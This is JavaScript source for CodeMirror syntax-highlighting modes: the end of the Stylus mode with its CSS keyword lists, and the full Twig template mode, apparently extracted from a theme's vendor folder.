      else if (word.match(/^[A-Z]/)) override = "string";
      return override;
    }

    function typeIsBlock(type, stream) {
      return ((endOfLine(stream) && (type == "{" || type == "]" || type == "hash" || type == "qualifier")) || type == "block-mixin");
    }

    function typeIsInterpolation(type, stream) {
      return type == "{" && stream.match(/^\s*\$?[\w-]+/i, false);
    }

    function typeIsPseudo(type, stream) {
      return type == ":" && stream.match(/^[a-z-]+/, false);
    }

    function startOfLine(stream) {
      return stream.sol() || stream.string.match(new RegExp("^\\s*" + escapeRegExp(stream.current())));
    }

    function endOfLine(stream) {
      return stream.eol() || stream.match(/^\s*$/, false);
    }

    function firstWordOfLine(line) {
      var re = /^\s*[-_]*[a-z0-9]+[\w-]*/i;
      var result = typeof line == "string" ? line.match(re) : line.string.match(re);
      return result ? result[0].replace(/^\s*/, "") : "";
    }


    /**
     * Block
     */
    states.block = function(type, stream, state) {
      if ((type == "comment" && startOfLine(stream)) ||
          (type == "," && endOfLine(stream)) ||
          type == "mixin") {
        return pushContext(state, stream, "block", 0);
      }
      if (typeIsInterpolation(type, stream)) {
        return pushContext(state, stream, "interpolation");
      }
      if (endOfLine(stream) && type == "]") {
        if (!/^\s*(\.|#|:|\[|\*|&)/.test(stream.string) && !wordIsTag(firstWordOfLine(stream))) {
          return pushContext(state, stream, "block", 0);
        }
      }
      if (typeIsBlock(type, stream, state)) {
        return pushContext(state, stream, "block");
      }
      if (type == "}" && endOfLine(stream)) {
        return pushContext(state, stream, "block", 0);
      }
      if (type == "variable-name") {
        if (stream.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/) || wordIsBlock(firstWordOfLine(stream))) {
          return pushContext(state, stream, "variableName");
        }
        else {
          return pushContext(state, stream, "variableName", 0);
        }
      }
      if (type == "=") {
        if (!endOfLine(stream) && !wordIsBlock(firstWordOfLine(stream))) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "*") {
        if (endOfLine(stream) || stream.match(/\s*(,|\.|#|\[|:|{)/,false)) {
          override = "tag";
          return pushContext(state, stream, "block");
        }
      }
      if (typeIsPseudo(type, stream)) {
        return pushContext(state, stream, "pseudo");
      }
      if (/@(font-face|media|supports|(-moz-)?document)/.test(type)) {
        return pushContext(state, stream, endOfLine(stream) ? "block" : "atBlock");
      }
      if (/@(-(moz|ms|o|webkit)-)?keyframes$/.test(type)) {
        return pushContext(state, stream, "keyframes");
      }
      if (/@extends?/.test(type)) {
        return pushContext(state, stream, "extend", 0);
      }
      if (type && type.charAt(0) == "@") {

        // Property Lookup
        if (stream.indentation() > 0 && wordIsProperty(stream.current().slice(1))) {
          override = "variable-2";
          return "block";
        }
        if (/(@import|@require|@charset)/.test(type)) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "reference" && endOfLine(stream)) {
        return pushContext(state, stream, "block");
      }
      if (type == "(") {
        return pushContext(state, stream, "parens");
      }

      if (type == "vendor-prefixes") {
        return pushContext(state, stream, "vendorPrefixes");
      }
      if (type == "word") {
        var word = stream.current();
        override = wordAsValue(word);

        if (override == "property") {
          if (startOfLine(stream)) {
            return pushContext(state, stream, "block", 0);
          } else {
            override = "atom";
            return "block";
          }
        }

        if (override == "tag") {

          // tag is a css value
          if (/embed|menu|pre|progress|sub|table/.test(word)) {
            if (wordIsProperty(firstWordOfLine(stream))) {
              override = "atom";
              return "block";
            }
          }

          // tag is an attribute
          if (stream.string.match(new RegExp("\\[\\s*" + word + "|" + word +"\\s*\\]"))) {
            override = "atom";
            return "block";
          }

          // tag is a variable
          if (tagVariablesRegexp.test(word)) {
            if ((startOfLine(stream) && stream.string.match(/=/)) ||
                (!startOfLine(stream) &&
                 !stream.string.match(/^(\s*\.|#|\&|\[|\/|>|\*)/) &&
                 !wordIsTag(firstWordOfLine(stream)))) {
              override = "variable-2";
              if (wordIsBlock(firstWordOfLine(stream)))  return "block";
              return pushContext(state, stream, "block", 0);
            }
          }

          if (endOfLine(stream)) return pushContext(state, stream, "block");
        }
        if (override == "block-keyword") {
          override = "keyword";

          // Postfix conditionals
          if (stream.current(/(if|unless)/) && !startOfLine(stream)) {
            return "block";
          }
          return pushContext(state, stream, "block");
        }
        if (word == "return") return pushContext(state, stream, "block", 0);

        // Placeholder selector
        if (override == "variable-2" && stream.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/)) {
          return pushContext(state, stream, "block");
        }
      }
      return state.context.type;
    };


    /**
     * Parens
     */
    states.parens = function(type, stream, state) {
      if (type == "(") return pushContext(state, stream, "parens");
      if (type == ")") {
        if (state.context.prev.type == "parens") {
          return popContext(state);
        }
        if ((stream.string.match(/^[a-z][\w-]*\(/i) && endOfLine(stream)) ||
            wordIsBlock(firstWordOfLine(stream)) ||
            /(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(firstWordOfLine(stream)) ||
            (!stream.string.match(/^-?[a-z][\w-\.\[\]\'\"]*\s*=/) &&
             wordIsTag(firstWordOfLine(stream)))) {
          return pushContext(state, stream, "block");
        }
        if (stream.string.match(/^[\$-]?[a-z][\w-\.\[\]\'\"]*\s*=/) ||
            stream.string.match(/^\s*(\(|\)|[0-9])/) ||
            stream.string.match(/^\s+[a-z][\w-]*\(/i) ||
            stream.string.match(/^\s+[\$-]?[a-z]/i)) {
          return pushContext(state, stream, "block", 0);
        }
        if (endOfLine(stream)) return pushContext(state, stream, "block");
        else return pushContext(state, stream, "block", 0);
      }
      if (type && type.charAt(0) == "@" && wordIsProperty(stream.current().slice(1))) {
        override = "variable-2";
      }
      if (type == "word") {
        var word = stream.current();
        override = wordAsValue(word);
        if (override == "tag" && tagVariablesRegexp.test(word)) {
          override = "variable-2";
        }
        if (override == "property" || word == "to") override = "atom";
      }
      if (type == "variable-name") {
        return pushContext(state, stream, "variableName");
      }
      if (typeIsPseudo(type, stream)) {
        return pushContext(state, stream, "pseudo");
      }
      return state.context.type;
    };


    /**
     * Vendor prefixes
     */
    states.vendorPrefixes = function(type, stream, state) {
      if (type == "word") {
        override = "property";
        return pushContext(state, stream, "block", 0);
      }
      return popContext(state);
    };


    /**
     * Pseudo
     */
    states.pseudo = function(type, stream, state) {
      if (!wordIsProperty(firstWordOfLine(stream.string))) {
        stream.match(/^[a-z-]+/);
        override = "variable-3";
        if (endOfLine(stream)) return pushContext(state, stream, "block");
        return popContext(state);
      }
      return popAndPass(type, stream, state);
    };


    /**
     * atBlock
     */
    states.atBlock = function(type, stream, state) {
      if (type == "(") return pushContext(state, stream, "atBlock_parens");
      if (typeIsBlock(type, stream, state)) {
        return pushContext(state, stream, "block");
      }
      if (typeIsInterpolation(type, stream)) {
        return pushContext(state, stream, "interpolation");
      }
      if (type == "word") {
        var word = stream.current().toLowerCase();
        if (/^(only|not|and|or)$/.test(word))
          override = "keyword";
        else if (documentTypes.hasOwnProperty(word))
          override = "tag";
        else if (mediaTypes.hasOwnProperty(word))
          override = "attribute";
        else if (mediaFeatures.hasOwnProperty(word))
          override = "property";
        else if (nonStandardPropertyKeywords.hasOwnProperty(word))
          override = "string-2";
        else override = wordAsValue(stream.current());
        if (override == "tag" && endOfLine(stream)) {
          return pushContext(state, stream, "block");
        }
      }
      if (type == "operator" && /^(not|and|or)$/.test(stream.current())) {
        override = "keyword";
      }
      return state.context.type;
    };

    states.atBlock_parens = function(type, stream, state) {
      if (type == "{" || type == "}") return state.context.type;
      if (type == ")") {
        if (endOfLine(stream)) return pushContext(state, stream, "block");
        else return pushContext(state, stream, "atBlock");
      }
      if (type == "word") {
        var word = stream.current().toLowerCase();
        override = wordAsValue(word);
        if (/^(max|min)/.test(word)) override = "property";
        if (override == "tag") {
          tagVariablesRegexp.test(word) ? override = "variable-2" : override = "atom";
        }
        return state.context.type;
      }
      return states.atBlock(type, stream, state);
    };


    /**
     * Keyframes
     */
    states.keyframes = function(type, stream, state) {
      if (stream.indentation() == "0" && ((type == "}" && startOfLine(stream)) || type == "]" || type == "hash"
                                          || type == "qualifier" || wordIsTag(stream.current()))) {
        return popAndPass(type, stream, state);
      }
      if (type == "{") return pushContext(state, stream, "keyframes");
      if (type == "}") {
        if (startOfLine(stream)) return popContext(state, true);
        else return pushContext(state, stream, "keyframes");
      }
      if (type == "unit" && /^[0-9]+\%$/.test(stream.current())) {
        return pushContext(state, stream, "keyframes");
      }
      if (type == "word") {
        override = wordAsValue(stream.current());
        if (override == "block-keyword") {
          override = "keyword";
          return pushContext(state, stream, "keyframes");
        }
      }
      if (/@(font-face|media|supports|(-moz-)?document)/.test(type)) {
        return pushContext(state, stream, endOfLine(stream) ? "block" : "atBlock");
      }
      if (type == "mixin") {
        return pushContext(state, stream, "block", 0);
      }
      return state.context.type;
    };


    /**
     * Interpolation
     */
    states.interpolation = function(type, stream, state) {
      if (type == "{") popContext(state) && pushContext(state, stream, "block");
      if (type == "}") {
        if (stream.string.match(/^\s*(\.|#|:|\[|\*|&|>|~|\+|\/)/i) ||
            (stream.string.match(/^\s*[a-z]/i) && wordIsTag(firstWordOfLine(stream)))) {
          return pushContext(state, stream, "block");
        }
        if (!stream.string.match(/^(\{|\s*\&)/) ||
            stream.match(/\s*[\w-]/,false)) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "variable-name") {
        return pushContext(state, stream, "variableName", 0);
      }
      if (type == "word") {
        override = wordAsValue(stream.current());
        if (override == "tag") override = "atom";
      }
      return state.context.type;
    };


    /**
     * Extend/s
     */
    states.extend = function(type, stream, state) {
      if (type == "[" || type == "=") return "extend";
      if (type == "]") return popContext(state);
      if (type == "word") {
        override = wordAsValue(stream.current());
        return "extend";
      }
      return popContext(state);
    };


    /**
     * Variable name
     */
    states.variableName = function(type, stream, state) {
      if (type == "string" || type == "[" || type == "]" || stream.current().match(/^(\.|\$)/)) {
        if (stream.current().match(/^\.[\w-]+/i)) override = "variable-2";
        return "variableName";
      }
      return popAndPass(type, stream, state);
    };


    return {
      startState: function(base) {
        return {
          tokenize: null,
          state: "block",
          context: new Context("block", base || 0, null)
        };
      },
      token: function(stream, state) {
        if (!state.tokenize && stream.eatSpace()) return null;
        style = (state.tokenize || tokenBase)(stream, state);
        if (style && typeof style == "object") {
          type = style[1];
          style = style[0];
        }
        override = style;
        state.state = states[state.state](type, stream, state);
        return override;
      },
      indent: function(state, textAfter, line) {

        var cx = state.context,
            ch = textAfter && textAfter.charAt(0),
            indent = cx.indent,
            lineFirstWord = firstWordOfLine(textAfter),
            lineIndent = line.length - line.replace(/^\s*/, "").length,
            prevLineFirstWord = state.context.prev ? state.context.prev.line.firstWord : "",
            prevLineIndent = state.context.prev ? state.context.prev.line.indent : lineIndent;

        if (cx.prev &&
            (ch == "}" && (cx.type == "block" || cx.type == "atBlock" || cx.type == "keyframes") ||
             ch == ")" && (cx.type == "parens" || cx.type == "atBlock_parens") ||
             ch == "{" && (cx.type == "at"))) {
          indent = cx.indent - indentUnit;
          cx = cx.prev;
        } else if (!(/(\})/.test(ch))) {
          if (/@|\$|\d/.test(ch) ||
              /^\{/.test(textAfter) ||
/^\s*\/(\/|\*)/.test(textAfter) ||
              /^\s*\/\*/.test(prevLineFirstWord) ||
              /^\s*[\w-\.\[\]\'\"]+\s*(\?|:|\+)?=/i.test(textAfter) ||
/^(\+|-)?[a-z][\w-]*\(/i.test(textAfter) ||
/^return/.test(textAfter) ||
              wordIsBlock(lineFirstWord)) {
            indent = lineIndent;
          } else if (/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(ch) || wordIsTag(lineFirstWord)) {
            if (/\,\s*$/.test(prevLineFirstWord)) {
              indent = prevLineIndent;
            } else if (/^\s+/.test(line) && (/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(prevLineFirstWord) || wordIsTag(prevLineFirstWord))) {
              indent = lineIndent <= prevLineIndent ? prevLineIndent : prevLineIndent + indentUnit;
            } else {
              indent = lineIndent;
            }
          } else if (!/,\s*$/.test(line) && (wordIsVendorPrefix(lineFirstWord) || wordIsProperty(lineFirstWord))) {
            if (wordIsBlock(prevLineFirstWord)) {
              indent = lineIndent <= prevLineIndent ? prevLineIndent : prevLineIndent + indentUnit;
            } else if (/^\{/.test(prevLineFirstWord)) {
              indent = lineIndent <= prevLineIndent ? lineIndent : prevLineIndent + indentUnit;
            } else if (wordIsVendorPrefix(prevLineFirstWord) || wordIsProperty(prevLineFirstWord)) {
              indent = lineIndent >= prevLineIndent ? prevLineIndent : lineIndent;
            } else if (/^(\.|#|:|\[|\*|&|@|\+|\-|>|~|\/)/.test(prevLineFirstWord) ||
                      /=\s*$/.test(prevLineFirstWord) ||
                      wordIsTag(prevLineFirstWord) ||
                      /^\$[\w-\.\[\]\'\"]/.test(prevLineFirstWord)) {
              indent = prevLineIndent + indentUnit;
            } else {
              indent = lineIndent;
            }
          }
        }
        return indent;
      },
      electricChars: "}",
      lineComment: "//",
      fold: "indent"
    };
  });

  // developer.mozilla.org/en-US/docs/Web/HTML/Element
  var tagKeywords_ = ["a","abbr","address","area","article","aside","audio", "b", "base","bdi", "bdo","bgsound","blockquote","body","br","button","canvas","caption","cite", "code","col","colgroup","data","datalist","dd","del","details","dfn","div", "dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1", "h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe", "img","input","ins","kbd","keygen","label","legend","li","link","main","map", "mark","marquee","menu","menuitem","meta","meter","nav","nobr","noframes", "noscript","object","ol","optgroup","option","output","p","param","pre", "progress","q","rp","rt","ruby","s","samp","script","section","select", "small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","track", "u","ul","var","video"];

  // github.com/codemirror/CodeMirror/blob/master/mode/css/css.js
  var documentTypes_ = ["domain", "regexp", "url", "url-prefix"];
  var mediaTypes_ = ["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"];
  var mediaFeatures_ = ["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"];
  var propertyKeywords_ = ["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode","font-smoothing","osx-font-smoothing"];
  var nonStandardPropertyKeywords_ = ["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"];
  var fontProperties_ = ["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"];
  var colorKeywords_ = ["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"];
  var valueKeywords_ = ["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small","bicubic","optimizespeed","grayscale","row","row-reverse","wrap","wrap-reverse","column-reverse","flex-start","flex-end","space-between","space-around"];

  var wordOperatorKeywords_ = ["in","and","or","not","is not","is a","is","isnt","defined","if unless"],
      blockKeywords_ = ["for","if","else","unless", "from", "to"],
      commonAtoms_ = ["null","true","false","href","title","type","not-allowed","readonly","disabled"],
      commonDef_ = ["@font-face", "@keyframes", "@media", "@viewport", "@page", "@host", "@supports", "@block", "@css"];

  var hintWords = tagKeywords_.concat(documentTypes_,mediaTypes_,mediaFeatures_,
                                      propertyKeywords_,nonStandardPropertyKeywords_,
                                      colorKeywords_,valueKeywords_,fontProperties_,
                                      wordOperatorKeywords_,blockKeywords_,
                                      commonAtoms_,commonDef_);

  function wordRegexp(words) {
    words = words.sort(function(a,b){return b > a;});
    return new RegExp("^((" + words.join(")|(") + "))\\b");
  }

  function keySet(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) keys[array[i]] = true;
    return keys;
  }

  function escapeRegExp(text) {
    return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
  }

  CodeMirror.registerHelper("hintWords", "stylus", hintWords);
  CodeMirror.defineMIME("text/x-styl", "stylus");
});
PK     N\
  
  F  inc/customizer/framework/assets/js/vendor/codemirror/mode/twig/twig.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("twig", function() {
    var keywords = ["and", "as", "autoescape", "endautoescape", "block", "do", "endblock", "else", "elseif", "extends", "for", "endfor", "embed", "endembed", "filter", "endfilter", "flush", "from", "if", "endif", "in", "is", "include", "import", "not", "or", "set", "spaceless", "endspaceless", "with", "endwith", "trans", "endtrans", "blocktrans", "endblocktrans", "macro", "endmacro", "use", "verbatim", "endverbatim"],
        operator = /^[+\-*&%=<>!?|~^]/,
        sign = /^[:\[\(\{]/,
        atom = ["true", "false", "null", "empty", "defined", "divisibleby", "divisible by", "even", "odd", "iterable", "sameas", "same as"],
        number = /^(\d[+\-\*\/])?\d+(\.\d+)?/;

    keywords = new RegExp("((" + keywords.join(")|(") + "))\\b");
    atom = new RegExp("((" + atom.join(")|(") + "))\\b");

    function tokenBase (stream, state) {
      var ch = stream.peek();

      //Comment
      if (state.incomment) {
        if (!stream.skipTo("#}")) {
          stream.skipToEnd();
        } else {
          stream.eatWhile(/\#|}/);
          state.incomment = false;
        }
        return "comment";
      //Tag
      } else if (state.intag) {
        //After operator
        if (state.operator) {
          state.operator = false;
          if (stream.match(atom)) {
            return "atom";
          }
          if (stream.match(number)) {
            return "number";
          }
        }
        //After sign
        if (state.sign) {
          state.sign = false;
          if (stream.match(atom)) {
            return "atom";
          }
          if (stream.match(number)) {
            return "number";
          }
        }

        if (state.instring) {
          if (ch == state.instring) {
            state.instring = false;
          }
          stream.next();
          return "string";
        } else if (ch == "'" || ch == '"') {
          state.instring = ch;
          stream.next();
          return "string";
        } else if (stream.match(state.intag + "}") || stream.eat("-") && stream.match(state.intag + "}")) {
          state.intag = false;
          return "tag";
        } else if (stream.match(operator)) {
          state.operator = true;
          return "operator";
        } else if (stream.match(sign)) {
          state.sign = true;
        } else {
          if (stream.eat(" ") || stream.sol()) {
            if (stream.match(keywords)) {
              return "keyword";
            }
            if (stream.match(atom)) {
              return "atom";
            }
            if (stream.match(number)) {
              return "number";
            }
            if (stream.sol()) {
              stream.next();
            }
          } else {
            stream.next();
          }

        }
        return "variable";
      } else if (stream.eat("{")) {
        if (ch = stream.eat("#")) {
          state.incomment = true;
          if (!stream.skipTo("#}")) {
            stream.skipToEnd();
          } else {
            stream.eatWhile(/\#|}/);
            state.incomment = false;
          }
          return "comment";
        //Open tag
        } else if (ch = stream.eat(/\{|%/)) {
          //Cache close tag
          state.intag = ch;
          if (ch == "{") {
            state.intag = "}";
          }
          stream.eat("-");
          return "tag";
        }
      }
      stream.next();
    };

    return {
      startState: function () {
        return {};
      },
      token: function (stream, state) {
        return tokenBase(stream, state);
      }
    };
  });

  CodeMirror.defineMIME("text/x-twig", "twig");
});
